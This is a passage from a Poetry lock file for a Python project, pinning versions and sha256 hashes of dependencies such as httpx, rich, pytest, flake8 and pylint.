CommonMark Markdown spec" 94 | category = "main" 95 | optional = false 96 | python-versions = "*" 97 | 98 | [package.extras] 99 | test = ["flake8 (==3.7.8)", "hypothesis (==3.55.3)"] 100 | 101 | [[package]] 102 | name = "flake8" 103 | version = "3.8.4" 104 | description = "the modular source code checker: pep8 pyflakes and co" 105 | category = "dev" 106 | optional = false 107 | python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,>=2.7" 108 | 109 | [package.dependencies] 110 | mccabe = ">=0.6.0,<0.7.0" 111 | pycodestyle = ">=2.6.0a1,<2.7.0" 112 | pyflakes = ">=2.2.0,<2.3.0" 113 | 114 | [[package]] 115 | name = "h11" 116 | version = "0.11.0" 117 | description = "A pure-Python, bring-your-own-I/O implementation of HTTP/1.1" 118 | category = "main" 119 | optional = false 120 | python-versions = "*" 121 | 122 | [[package]] 123 | name = "httpcore" 124 | version = "0.12.2" 125 | description = "A minimal low-level HTTP client." 126 | category = "main" 127 | optional = false 128 | python-versions = ">=3.6" 129 | 130 | [package.dependencies] 131 | h11 = "<1.0.0" 132 | sniffio = ">=1.0.0,<2.0.0" 133 | 134 | [package.extras] 135 | http2 = ["h2 (>=3,<5)"] 136 | 137 | [[package]] 138 | name = "httpx" 139 | version = "0.16.1" 140 | description = "The next generation HTTP client." 141 | category = "main" 142 | optional = false 143 | python-versions = ">=3.6" 144 | 145 | [package.dependencies] 146 | certifi = "*" 147 | httpcore = ">=0.12.0,<0.13.0" 148 | rfc3986 = {version = ">=1.3,<2", extras = ["idna2008"]} 149 | sniffio = "*" 150 | 151 | [package.extras] 152 | brotli = ["brotlipy (>=0.7.0,<0.8.0)"] 153 | http2 = ["h2 (>=3.0.0,<4.0.0)"] 154 | 155 | [[package]] 156 | name = "idna" 157 | version = "2.10" 158 | description = "Internationalized Domain Names in Applications (IDNA)" 159 | category = "main" 160 | optional = false 161 | python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*" 162 | 163 | [[package]] 164 | name = "iniconfig" 165 | version = "1.1.1" 166 | description = "iniconfig: brain-dead simple config-ini parsing" 167 | category = "dev" 168 | optional = false 169 | python-versions = "*" 170 | 171 | [[package]] 172 | name = "isort" 173 | version = "5.6.4" 174 | description = "A Python utility / library to sort Python imports." 175 | category = "dev" 176 | optional = false 177 | python-versions = ">=3.6,<4.0" 178 | 179 | [package.extras] 180 | pipfile_deprecated_finder = ["pipreqs", "requirementslib"] 181 | requirements_deprecated_finder = ["pipreqs", "pip-api"] 182 | colors = ["colorama (>=0.4.3,<0.5.0)"] 183 | 184 | [[package]] 185 | name = "lazy-object-proxy" 186 | version = "1.4.3" 187 | description = "A fast and thorough lazy object proxy." 188 | category = "dev" 189 | optional = false 190 | python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*" 191 | 192 | [[package]] 193 | name = "mccabe" 194 | version = "0.6.1" 195 | description = "McCabe checker, plugin for flake8" 196 | category = "dev" 197 | optional = false 198 | python-versions = "*" 199 | 200 | [[package]] 201 | name = "mypy-extensions" 202 | version = "0.4.3" 203 | description = "Experimental type system extensions for programs checked with the mypy typechecker." 204 | category = "dev" 205 | optional = false 206 | python-versions = "*" 207 | 208 | [[package]] 209 | name = "packaging" 210 | version = "20.8" 211 | description = "Core utilities for Python packages" 212 | category = "dev" 213 | optional = false 214 | python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*" 215 | 216 | [package.dependencies] 217 | pyparsing = ">=2.0.2" 218 | 219 | [[package]] 220 | name = "pathspec" 221 | version = "0.8.1" 222 | description = "Utility library for gitignore style pattern matching of file paths." 223 | category = "dev" 224 | optional = false 225 | python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*" 226 | 227 | [[package]] 228 | name = "pluggy" 229 | version = "0.13.1" 230 | description = "plugin and hook calling mechanisms for python" 231 | category = "dev" 232 | optional = false 233 | python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*" 234 | 235 | [package.extras] 236 | dev = ["pre-commit", "tox"] 237 | 238 | [[package]] 239 | name = "py" 240 | version = "1.10.0" 241 | description = "library with cross-python path, ini-parsing, io, code, log facilities" 242 | category = "dev" 243 | optional = false 244 | python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*" 245 | 246 | [[package]] 247 | name = "pycodestyle" 248 | version = "2.6.0" 249 | description = "Python style guide checker" 250 | category = "dev" 251 | optional = false 252 | python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*" 253 | 254 | [[package]] 255 | name = "pyflakes" 256 | version = "2.2.0" 257 | description = "passive checker of Python programs" 258 | category = "dev" 259 | optional = false 260 | python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*" 261 | 262 | [[package]] 263 | name = "pygments" 264 | version = "2.7.3" 265 | description = "Pygments is a syntax highlighting package written in Python." 266 | category = "main" 267 | optional = false 268 | python-versions = ">=3.5" 269 | 270 | [[package]] 271 | name = "pylint" 272 | version = "2.6.0" 273 | description = "python code static checker" 274 | category = "dev" 275 | optional = false 276 | python-versions = ">=3.5.*" 277 | 278 | [package.dependencies] 279 | astroid = ">=2.4.0,<=2.5" 280 | colorama = {version = "*", markers = "sys_platform == \"win32\""} 281 | isort = ">=4.2.5,<6" 282 | mccabe = ">=0.6,<0.7" 283 | toml = ">=0.7.1" 284 | 285 | [[package]] 286 | name = "pyparsing" 287 | version = "2.4.7" 288 | description = "Python parsing module" 289 | category = "dev" 290 | optional = false 291 | python-versions = ">=2.6, !=3.0.*, !=3.1.*, !=3.2.*" 292 | 293 | [[package]] 294 | name = "pytest" 295 | version = "6.2.1" 296 | description = "pytest: simple powerful testing with Python" 297 | category = "dev" 298 | optional = false 299 | python-versions = ">=3.6" 300 | 301 | [package.dependencies] 302 | atomicwrites = {version = ">=1.0", markers = "sys_platform == \"win32\""} 303 | attrs = ">=19.2.0" 304 | colorama = {version = "*", markers = "sys_platform == \"win32\""} 305 | iniconfig = "*" 306 | packaging = "*" 307 | pluggy = ">=0.12,<1.0.0a1" 308 | py = ">=1.8.2" 309 | toml = "*" 310 | 311 | [package.extras] 312 | testing = ["argcomplete", "hypothesis (>=3.56)", "mock", "nose", "requests", "xmlschema"] 313 | 314 | [[package]] 315 | name = "pytest-asyncio" 316 | version = "0.14.0" 317 | description = "Pytest support for asyncio." 318 | category = "dev" 319 | optional = false 320 | python-versions = ">= 3.5" 321 | 322 | [package.dependencies] 323 | pytest = ">=5.4.0" 324 | 325 | [package.extras] 326 | testing = ["async-generator (>=1.3)", "coverage", "hypothesis (>=5.7.1)"] 327 | 328 | [[package]] 329 | name = "regex" 330 | version = "2020.11.13" 331 | description = "Alternative regular expression module, to replace re." 332 | category = "dev" 333 | optional = false 334 | python-versions = "*" 335 | 336 | [[package]] 337 | name = "rfc3986" 338 | version = "1.4.0" 339 | description = "Validating URI References per RFC 3986" 340 | category = "main" 341 | optional = false 342 | python-versions = "*" 343 | 344 | [package.dependencies] 345 | idna = {version = "*", optional = true, markers = "extra == \"idna2008\""} 346 | 347 | [package.extras] 348 | idna2008 = ["idna"] 349 | 350 | [[package]] 351 | name = "rich" 352 | version = "9.4.0" 353 | description = "Render rich text, tables, progress bars, syntax highlighting, markdown and more to the terminal" 354 | category = "main" 355 | optional = false 356 | python-versions = ">=3.6,<4.0" 357 | 358 | [package.dependencies] 359 | colorama = ">=0.4.0,<0.5.0" 360 | commonmark = ">=0.9.0,<0.10.0" 361 | pygments = ">=2.6.0,<3.0.0" 362 | typing-extensions = ">=3.7.4,<4.0.0" 363 | 364 | [package.extras] 365 | jupyter = ["ipywidgets (>=7.5.1,<8.0.0)"] 366 | 367 | [[package]] 368 | name = "six" 369 | version = "1.15.0" 370 | description = "Python 2 and 3 compatibility utilities" 371 | category = "dev" 372 | optional = false 373 | python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*" 374 | 375 | [[package]] 376 | name = "sniffio" 377 | version = "1.2.0" 378 | description = "Sniff out which async library your code is running under" 379 | category = "main" 380 | optional = false 381 | python-versions = ">=3.5" 382 | 383 | [[package]] 384 | name = "toml" 385 | version = "0.10.2" 386 | description = "Python Library for Tom's Obvious, Minimal Language" 387 | category = "dev" 388 | optional = false 389 | python-versions = ">=2.6, !=3.0.*, !=3.1.*, !=3.2.*" 390 | 391 | [[package]] 392 | name = "typed-ast" 393 | version = "1.4.1" 394 | description = "a fork of Python 2 and 3 ast modules with type comment support" 395 | category = "dev" 396 | optional = false 397 | python-versions = "*" 398 | 399 | [[package]] 400 | name = "typing-extensions" 401 | version = "3.7.4.3" 402 | description = "Backported and Experimental Type Hints for Python 3.5+" 403 | category = "main" 404 | optional = false 405 | python-versions = "*" 406 | 407 | [[package]] 408 | name = "wrapt" 409 | version = "1.12.1" 410 | description = "Module for decorators, wrappers and monkey patching." 411 | category = "dev" 412 | optional = false 413 | python-versions = "*" 414 | 415 | [metadata] 416 | lock-version = "1.1" 417 | python-versions = "^3.8" 418 | content-hash = "c7e3e86fe47cb3853c534af4aa8b1fc253be98d5423f06f9d52f8f2047c4f8cf" 419 | 420 | [metadata.files] 421 | appdirs = [ 422 | {file = "appdirs-1.4.4-py2.py3-none-any.whl", hash = "sha256:a841dacd6b99318a741b166adb07e19ee71a274450e68237b4650ca1055ab128"}, 423 | {file = "appdirs-1.4.4.tar.gz", hash = "sha256:7d5d0167b2b1ba821647616af46a749d1c653740dd0d2415100fe26e27afdf41"}, 424 | ] 425 | astroid = [ 426 | {file = "astroid-2.4.2-py3-none-any.whl", hash = "sha256:bc58d83eb610252fd8de6363e39d4f1d0619c894b0ed24603b881c02e64c7386"}, 427 | {file = "astroid-2.4.2.tar.gz", hash = "sha256:2f4078c2a41bf377eea06d71c9d2ba4eb8f6b1af2135bec27bbbb7d8f12bb703"}, 428 | ] 429 | atomicwrites = [ 430 | {file = "atomicwrites-1.4.0-py2.py3-none-any.whl", hash = "sha256:6d1784dea7c0c8d4a5172b6c620f40b6e4cbfdf96d783691f2e1302a7b88e197"}, 431 | {file = "atomicwrites-1.4.0.tar.gz", hash = "sha256:ae70396ad1a434f9c7046fd2dd196fc04b12f9e91ffb859164193be8b6168a7a"}, 432 | ] 433 | attrs = [ 434 | {file = "attrs-20.3.0-py2.py3-none-any.whl", hash = "sha256:31b2eced602aa8423c2aea9c76a724617ed67cf9513173fd3a4f03e3a929c7e6"}, 435 | {file = "attrs-20.3.0.tar.gz", hash = "sha256:832aa3cde19744e49938b91fea06d69ecb9e649c93ba974535d08ad92164f700"}, 436 | ] 437 | black = [ 438 | {file = "black-20.8b1-py3-none-any.whl", hash = "sha256:70b62ef1527c950db59062cda342ea224d772abdf6adc58b86a45421bab20a6b"}, 439 | {file = "black-20.8b1.tar.gz", hash = "sha256:1c02557aa099101b9d21496f8a914e9ed2222ef70336404eeeac8edba836fbea"}, 440 | ] 441 | certifi = [ 442 | {file = "certifi-2020.12.5-py2.py3-none-any.whl", hash = "sha256:719a74fb9e33b9bd44cc7f3a8d94bc35e4049deebe19ba7d8e108280cfd59830"}, 443 | {file = "certifi-2020.12.5.tar.gz", hash = "sha256:1a4995114262bffbc2413b159f2a1a480c969de6e6eb13ee966d470af86af59c"}, 444 | ] 445 | click = [ 446 | {file = "click-7.1.2-py2.py3-none-any.whl", hash = "sha256:dacca89f4bfadd5de3d7489b7c8a566eee0d3676333fbb50030263894c38c0dc"}, 447 | {file = "click-7.1.2.tar.gz", hash = "sha256:d2b5255c7c6349bc1bd1e59e08cd12acbbd63ce649f2588755783aa94dfb6b1a"}, 448 | ] 449 | colorama = [ 450 | {file = "colorama-0.4.4-py2.py3-none-any.whl", hash = "sha256:9f47eda37229f68eee03b24b9748937c7dc3868f906e8ba69fbcbdd3bc5dc3e2"}, 451 | ] 452 | commonmark = [ 453 | {file = "commonmark-0.9.1-py2.py3-none-any.whl", hash = "sha256:da2f38c92590f83de410ba1a3cbceafbc74fee9def35f9251ba9a971d6d66fd9"}, 454 | {file = "commonmark-0.9.1.tar.gz", hash = "sha256:452f9dc859be7f06631ddcb328b6919c67984aca654e5fefb3914d54691aed60"}, 455 | ] 456 | flake8 = [ 457 | {file = "flake8-3.8.4-py2.py3-none-any.whl", hash = "sha256:749dbbd6bfd0cf1318af27bf97a14e28e5ff548ef8e5b1566ccfb25a11e7c839"}, 458 | {file = "flake8-3.8.4.tar.gz", hash = "sha256:aadae8761ec651813c24be05c6f7b4680857ef6afaae4651a4eccaef97ce6c3b"}, 459 | ] 460 | h11 = [ 461 | {file = "h11-0.11.0-py2.py3-none-any.whl", hash = "sha256:ab6c335e1b6ef34b205d5ca3e228c9299cc7218b049819ec84a388c2525e5d87"}, 462 | {file = "h11-0.11.0.tar.gz", hash = "sha256:3c6c61d69c6f13d41f1b80ab0322f1872702a3ba26e12aa864c928f6a43fbaab"}, 463 | ] 464 | httpcore = [ 465 | {file = "httpcore-0.12.2-py3-none-any.whl", hash = "sha256:420700af11db658c782f7e8fda34f9dcd95e3ee93944dd97d78cb70247e0cd06"}, 466 | {file = "httpcore-0.12.2.tar.gz", hash = "sha256:dd1d762d4f7c2702149d06be2597c35fb154c5eff9789a8c5823fbcf4d2978d6"}, 467 | ] 468 | httpx = [ 469 | {file = "httpx-0.16.1-py3-none-any.whl", hash = "sha256:9cffb8ba31fac6536f2c8cde30df859013f59e4bcc5b8d43901cb3654a8e0a5b"}, 470 | {file = "httpx-0.16.1.tar.gz", hash = "sha256:126424c279c842738805974687e0518a94c7ae8d140cd65b9c4f77ac46ffa537"}, 471 | ] 472 | idna = [ 473 | {file = "idna-2.10-py2.py3-none-any.whl", hash = "sha256:b97d804b1e9b523befed77c48dacec60e6dcb0b5391d57af6a65a312a90648c0"}, 474 | {file = "idna-2.10.tar.gz", hash = "sha256:b307872f855b18632ce0c21c5e45be78c0ea7ae4c15c828c20788b26921eb3f6"}, 475 | ] 476 | iniconfig = [ 477 | {file = "iniconfig-1.1.1-py2.py3-none-any.whl", hash = "sha256:011e24c64b7f47f6ebd835bb12a743f2fbe9a26d4cecaa7f53bc4f35ee9da8b3"}, 478 | {file = "iniconfig-1.1.1.tar.gz", hash = "sha256:bc3af051d7d14b2ee5ef9969666def0cd1a000e121eaea580d4a313df4b37f32"}, 479 | ] 480 | isort = [ 481 | {file = "isort-5.6.4-py3-none-any.whl", hash = "sha256:dcab1d98b469a12a1a624ead220584391648790275560e1a43e54c5dceae65e7"}, 482 | {file = "isort-5.6.4.tar.gz", hash = "sha256:dcaeec1b5f0eca77faea2a35ab790b4f3680ff75590bfcb7145986905aab2f58"}, 483 | ] 484 | lazy-object-proxy = [ 485 | {file = "lazy-object-proxy-1.4.3.tar.gz", hash = "sha256:f3900e8a5de27447acbf900b4750b0ddfd7ec1ea7fbaf11dfa911141bc522af0"}, 486 | {file = "lazy_object_proxy-1.4.3-cp27-cp27m-macosx_10_13_x86_64.whl", hash = "sha256:a2238e9d1bb71a56cd710611a1614d1194dc10a175c1e08d75e1a7bcc250d442"}, 487 | {file = "lazy_object_proxy-1.4.3-cp27-cp27m-win32.whl", hash = "sha256:efa1909120ce98bbb3777e8b6f92237f5d5c8ea6758efea36a473e1d38f7d3e4"}, 488 | {file = "lazy_object_proxy-1.4.3-cp27-cp27m-win_amd64.whl", hash = "sha256:4677f594e474c91da97f489fea5b7daa17b5517190899cf213697e48d3902f5a"}, 489 | {file = "lazy_object_proxy-1.4.3-cp27-cp27mu-manylinux1_x86_64.whl", hash = "sha256:0c4b206227a8097f05c4dbdd323c50edf81f15db3b8dc064d08c62d37e1a504d"}, 490 | {file = "lazy_object_proxy-1.4.3-cp34-cp34m-manylinux1_x86_64.whl", hash = "sha256:d945239a5639b3ff35b70a88c5f2f491913eb94871780ebfabb2568bd58afc5a"}, 491 | {file = "lazy_object_proxy-1.4.3-cp34-cp34m-win32.whl", hash = "sha256:9651375199045a358eb6741df3e02a651e0330be090b3bc79f6d0de31a80ec3e"}, 492 | {file = "lazy_object_proxy-1.4.3-cp34-cp34m-win_amd64.whl", hash = "sha256:eba7011090323c1dadf18b3b689845fd96a61ba0a1dfbd7f24b921398affc357"}, 493 | {file = "lazy_object_proxy-1.4.3-cp35-cp35m-manylinux1_x86_64.whl", hash = "sha256:48dab84ebd4831077b150572aec802f303117c8cc5c871e182447281ebf3ac50"}, 494 | {file = "lazy_object_proxy-1.4.3-cp35-cp35m-win32.whl", hash = "sha256:ca0a928a3ddbc5725be2dd1cf895ec0a254798915fb3a36af0964a0a4149e3db"}, 495 | {file = "lazy_object_proxy-1.4.3-cp35-cp35m-win_amd64.whl", hash = "sha256:194d092e6f246b906e8f70884e620e459fc54db3259e60cf69a4d66c3fda3449"}, 496 | {file = "lazy_object_proxy-1.4.3-cp36-cp36m-manylinux1_x86_64.whl", hash = "sha256:97bb5884f6f1cdce0099f86b907aa41c970c3c672ac8b9c8352789e103cf3156"}, 497 | {file = "lazy_object_proxy-1.4.3-cp36-cp36m-win32.whl", hash = "sha256:cb2c7c57005a6804ab66f106ceb8482da55f5314b7fcb06551db1edae4ad1531"}, 498 | {file = "lazy_object_proxy-1.4.3-cp36-cp36m-win_amd64.whl", hash = "sha256:8d859b89baf8ef7f8bc6b00aa20316483d67f0b1cbf422f5b4dc56701c8f2ffb"}, 499 | {file = "lazy_object_proxy-1.4.3-cp37-cp37m-macosx_10_13_x86_64.whl", hash = "sha256:1be7e4c9f96948003609aa6c974ae59830a6baecc5376c25c92d7d697e684c08"}, 500 | {file = "lazy_object_proxy-1.4.3-cp37-cp37m-manylinux1_x86_64.whl", hash = "sha256:d74bb8693bf9cf75ac3b47a54d716bbb1a92648d5f781fc799347cfc95952383"}, 501 | {file = "lazy_object_proxy-1.4.3-cp37-cp37m-win32.whl", hash = "sha256:9b15f3f4c0f35727d3a0fba4b770b3c4ebbb1fa907dbcc046a1d2799f3edd142"}, 502 | {file = "lazy_object_proxy-1.4.3-cp37-cp37m-win_amd64.whl", hash = "sha256:9254f4358b9b541e3441b007a0ea0764b9d056afdeafc1a5569eee1cc6c1b9ea"}, 503 | {file = "lazy_object_proxy-1.4.3-cp38-cp38-manylinux1_x86_64.whl", hash = "sha256:a6ae12d08c0bf9909ce12385803a543bfe99b95fe01e752536a60af2b7797c62"}, 504 | {file = "lazy_object_proxy-1.4.3-cp38-cp38-win32.whl", hash = "sha256:5541cada25cd173702dbd99f8e22434105456314462326f06dba3e180f203dfd"}, 505 | {file = "lazy_object_proxy-1.4.3-cp38-cp38-win_amd64.whl", hash = "sha256:59f79fef100b09564bc2df42ea2d8d21a64fdcda64979c0fa3db7bdaabaf6239"}, 506 | ] 507 | mccabe = [ 508 | {file = "mccabe-0.6.1-py2.py3-none-any.whl", hash = "sha256:ab8a6258860da4b6677da4bd2fe5dc2c659cff31b3ee4f7f5d64e79735b80d42"}, 509 | {file = "mccabe-0.6.1.tar.gz", hash = "sha256:dd8d182285a0fe56bace7f45b5e7d1a6ebcbf524e8f3bd87eb0f125271b8831f"}, 510 | ] 511 | mypy-extensions = [ 512 | {file = "mypy_extensions-0.4.3-py2.py3-none-any.whl", hash = "sha256:090fedd75945a69ae91ce1303b5824f428daf5a028d2f6ab8a299250a846f15d"}, 513 | {file = "mypy_extensions-0.4.3.tar.gz", hash = "sha256:2d82818f5bb3e369420cb3c4060a7970edba416647068eb4c5343488a6c604a8"}, 514 | ] 515 | packaging = [ 516 | {file = "packaging-20.8-py2.py3-none-any.whl", hash = "sha256:24e0da08660a87484d1602c30bb4902d74816b6985b93de36926f5bc95741858"}, 517 | {file = "packaging-20.8.tar.gz", hash = "sha256:78598185a7008a470d64526a8059de9aaa449238f280fc9eb6b13ba6c4109093"}, 518 | ] 519 | pathspec = [ 520 | {file = "pathspec-0.8.1-py2.py3-none-any.whl", hash = "sha256:aa0cb481c4041bf52ffa7b0d8fa6cd3e88a2ca4879c533c9153882ee2556790d"}, 521 | {file = "pathspec-0.8.1.tar.gz", hash = "sha256:86379d6b86d75816baba717e64b1a3a3469deb93bb76d613c9ce79edc5cb68fd"}, 522 | ] 523 | pluggy = [ 524 | {file = "pluggy-0.13.1-py2.py3-none-any.whl", hash = "sha256:966c145cd83c96502c3c3868f50408687b38434af77734af1e9ca461a4081d2d"}, 525 | {file = "pluggy-0.13.1.tar.gz", hash = "sha256:15b2acde666561e1298d71b523007ed7364de07029219b604cf808bfa1c765b0"}, 526 | ] 527 | py = [ 528 | {file = "py-1.10.0-py2.py3-none-any.whl", hash = "sha256:3b80836aa6d1feeaa108e046da6423ab8f6ceda6468545ae8d02d9d58d18818a"}, 529 | {file = "py-1.10.0.tar.gz", hash = "sha256:21b81bda15b66ef5e1a777a21c4dcd9c20ad3efd0b3f817e7a809035269e1bd3"}, 530 | ] 531 | pycodestyle = [ 532 | {file = "pycodestyle-2.6.0-py2.py3-none-any.whl", hash = "sha256:2295e7b2f6b5bd100585ebcb1f616591b652db8a741695b3d8f5d28bdc934367"}, 533 | {file = "pycodestyle-2.6.0.tar.gz", hash = "sha256:c58a7d2815e0e8d7972bf1803331fb0152f867bd89adf8a01dfd55085434192e"}, 534 | ] 535 | pyflakes = [ 536 | {file = "pyflakes-2.2.0-py2.py3-none-any.whl", hash = "sha256:0d94e0e05a19e57a99444b6ddcf9a6eb2e5c68d3ca1e98e90707af8152c90a92"}, 537 | {file = "pyflakes-2.2.0.tar.gz", hash = "sha256:35b2d75ee967ea93b55750aa9edbbf72813e06a66ba54438df2cfac9e3c27fc8"}, 538 | ] 539 | pygments = [ 540 | {file = "Pygments-2.7.3-py3-none-any.whl", hash = "sha256:f275b6c0909e5dafd2d6269a656aa90fa58ebf4a74f8fcf9053195d226b24a08"}, 541 | {file = "Pygments-2.7.3.tar.gz", hash = "sha256:ccf3acacf3782cbed4a989426012f1c535c9a90d3a7fc3f16d231b9372d2b716"}, 542 | ] 543 | pylint = [ 544 | {file = "pylint-2.6.0-py3-none-any.whl", hash = "sha256:bfe68f020f8a0fece830a22dd4d5dddb4ecc6137db04face4c3420a46a52239f"}, 545 | {file = "pylint-2.6.0.tar.gz", hash = "sha256:bb4a908c9dadbc3aac18860550e870f58e1a02c9f2c204fdf5693d73be061210"}, 546 | ] 547 | pyparsing = [ 548 | {file = "pyparsing-2.4.7-py2.py3-none-any.whl", hash = "sha256:ef9d7589ef3c200abe66653d3f1ab1033c3c419ae9b9bdb1240a85b024efc88b"}, 549 | {file = "pyparsing-2.4.7.tar.gz", hash = "sha256:c203ec8783bf771a155b207279b9bccb8dea02d8f0c9e5f8ead507bc3246ecc1"}, 550 | ] 551 | pytest = [ 552 | {file = "pytest-6.2.1-py3-none-any.whl", hash = "sha256:1969f797a1a0dbd8ccf0fecc80262312729afea9c17f1d70ebf85c5e76c6f7c8"}, 553 | {file = "pytest-6.2.1.tar.gz", hash = "sha256:66e419b1899bc27346cb2c993e12c5e5e8daba9073c1fbce33b9807abc95c306"}, 554 | ] 555 | pytest-asyncio = [ 556 | {file = "pytest-asyncio-0.14.0.tar.gz", hash = "sha256:9882c0c6b24429449f5f969a5158b528f39bde47dc32e85b9f0403965017e700"}, 557 | {file = "pytest_asyncio-0.14.0-py3-none-any.whl", hash = "sha256:2eae1e34f6c68fc0a9dc12d4bea190483843ff4708d24277c41568d6b6044f1d"}, 558 | ] 559 | regex = [ 560 | {file = "regex-2020.11.13-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:8b882a78c320478b12ff024e81dc7d43c1462aa4a3341c754ee65d857a521f85"}, 561 | {file = "regex-2020.11.13-cp36-cp36m-manylinux1_i686.whl", hash = "sha256:a63f1a07932c9686d2d416fb295ec2c01ab246e89b4d58e5fa468089cab44b70"}, 562 | {file = "regex-2020.11.13-cp36-cp36m-manylinux1_x86_64.whl", hash = "sha256:6e4b08c6f8daca7d8f07c8d24e4331ae7953333dbd09c648ed6ebd24db5a10ee"}, 563 | {file = "regex-2020.11.13-cp36-cp36m-manylinux2010_i686.whl", hash = "sha256:bba349276b126947b014e50ab3316c027cac1495992f10e5682dc677b3dfa0c5"}, 564 | {file = "regex-2020.11.13-cp36-cp36m-manylinux2010_x86_64.whl", hash = "sha256:56e01daca75eae420bce184edd8bb341c8eebb19dd3bce7266332258f9fb9dd7"}, 565 | {file = "regex-2020.11.13-cp36-cp36m-manylinux2014_aarch64.whl", hash = "sha256:6a8ce43923c518c24a2579fda49f093f1397dad5d18346211e46f134fc624e31"}, 566 | {file = "regex-2020.11.13-cp36-cp36m-manylinux2014_i686.whl", hash = "sha256:1ab79fcb02b930de09c76d024d279686ec5d532eb814fd0ed1e0051eb8bd2daa"}, 567 | {file = "regex-2020.11.13-cp36-cp36m-manylinux2014_x86_64.whl", hash = "sha256:9801c4c1d9ae6a70aeb2128e5b4b68c45d4f0af0d1535500884d644fa9b768c6"}, 568 | {file = "regex-2020.11.13-cp36-cp36m-win32.whl", hash = "sha256:49cae022fa13f09be91b2c880e58e14b6da5d10639ed45ca69b85faf039f7a4e"}, 569 | {file = "regex-2020.11.13-cp36-cp36m-win_amd64.whl", hash = "sha256:749078d1eb89484db5f34b4012092ad14b327944ee7f1c4f74d6279a6e4d1884"}, 570 | {file = "regex-2020.11.13-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:b2f4007bff007c96a173e24dcda236e5e83bde4358a557f9ccf5e014439eae4b"}, 571 | {file = "regex-2020.11.13-cp37-cp37m-manylinux1_i686.whl", hash = "sha256:38c8fd190db64f513fe4e1baa59fed086ae71fa45083b6936b52d34df8f86a88"}, 572 | {file = "regex-2020.11.13-cp37-cp37m-manylinux1_x86_64.whl", hash = "sha256:5862975b45d451b6db51c2e654990c1820523a5b07100fc6903e9c86575202a0"}, 573 | {file = "regex-2020.11.13-cp37-cp37m-manylinux2010_i686.whl", hash = "sha256:262c6825b309e6485ec2493ffc7e62a13cf13fb2a8b6d212f72bd53ad34118f1"}, 574 | {file = "regex-2020.11.13-cp37-cp37m-manylinux2010_x86_64.whl", hash = "sha256:bafb01b4688833e099d79e7efd23f99172f501a15c44f21ea2118681473fdba0"}, 575 | {file = "regex-2020.11.13-cp37-cp37m-manylinux2014_aarch64.whl", hash = "sha256:e32f5f3d1b1c663af7f9c4c1e72e6ffe9a78c03a31e149259f531e0fed826512"}, 576 | {file = "regex-2020.11.13-cp37-cp37m-manylinux2014_i686.whl", hash = "sha256:3bddc701bdd1efa0d5264d2649588cbfda549b2899dc8d50417e47a82e1387ba"}, 577 | {file = "regex-2020.11.13-cp37-cp37m-manylinux2014_x86_64.whl", hash = "sha256:02951b7dacb123d8ea6da44fe45ddd084aa6777d4b2454fa0da61d569c6fa538"}, 578 | {file = "regex-2020.11.13-cp37-cp37m-win32.whl", hash = "sha256:0d08e71e70c0237883d0bef12cad5145b84c3705e9c6a588b2a9c7080e5af2a4"}, 579 | {file = "regex-2020.11.13-cp37-cp37m-win_amd64.whl", hash = "sha256:1fa7ee9c2a0e30405e21031d07d7ba8617bc590d391adfc2b7f1e8b99f46f444"}, 580 | {file = "regex-2020.11.13-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:baf378ba6151f6e272824b86a774326f692bc2ef4cc5ce8d5bc76e38c813a55f"}, 581 | {file = "regex-2020.11.13-cp38-cp38-manylinux1_i686.whl", hash = "sha256:e3faaf10a0d1e8e23a9b51d1900b72e1635c2d5b0e1bea1c18022486a8e2e52d"}, 582 | {file = "regex-2020.11.13-cp38-cp38-manylinux1_x86_64.whl", hash = "sha256:2a11a3e90bd9901d70a5b31d7dd85114755a581a5da3fc996abfefa48aee78af"}, 583 | {file = "regex-2020.11.13-cp38-cp38-manylinux2010_i686.whl", hash = "sha256:d1ebb090a426db66dd80df8ca85adc4abfcbad8a7c2e9a5ec7513ede522e0a8f"}, 584 | {file = "regex-2020.11.13-cp38-cp38-manylinux2010_x86_64.whl", hash = "sha256:b2b1a5ddae3677d89b686e5c625fc5547c6e492bd755b520de5332773a8af06b"}, 585 | {file = "regex-2020.11.13-cp38-cp38-manylinux2014_aarch64.whl", hash = "sha256:2c99e97d388cd0a8d30f7c514d67887d8021541b875baf09791a3baad48bb4f8"}, 586 | {file = "regex-2020.11.13-cp38-cp38-manylinux2014_i686.whl", hash = "sha256:c084582d4215593f2f1d28b65d2a2f3aceff8342aa85afd7be23a9cad74a0de5"}, 587 | {file = "regex-2020.11.13-cp38-cp38-manylinux2014_x86_64.whl", hash = "sha256:a3d748383762e56337c39ab35c6ed4deb88df5326f97a38946ddd19028ecce6b"}, 588 | {file = "regex-2020.11.13-cp38-cp38-win32.whl", hash = "sha256:7913bd25f4ab274ba37bc97ad0e21c31004224ccb02765ad984eef43e04acc6c"}, 589 | {file = "regex-2020.11.13-cp38-cp38-win_amd64.whl", hash = "sha256:6c54ce4b5d61a7129bad5c5dc279e222afd00e721bf92f9ef09e4fae28755683"}, 590 | {file = "regex-2020.11.13-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:1862a9d9194fae76a7aaf0150d5f2a8ec1da89e8b55890b1786b8f88a0f619dc"}, 591 | {file = "regex-2020.11.13-cp39-cp39-manylinux1_i686.whl", hash = "sha256:4902e6aa086cbb224241adbc2f06235927d5cdacffb2425c73e6570e8d862364"}, 592 | {file = "regex-2020.11.13-cp39-cp39-manylinux1_x86_64.whl", hash = "sha256:7a25fcbeae08f96a754b45bdc050e1fb94b95cab046bf56b016c25e9ab127b3e"}, 593 | {file = "regex-2020.11.13-cp39-cp39-manylinux2010_i686.whl", hash = "sha256:d2d8ce12b7c12c87e41123997ebaf1a5767a5be3ec545f64675388970f415e2e"}, 594 | {file = "regex-2020.11.13-cp39-cp39-manylinux2010_x86_64.whl", hash = 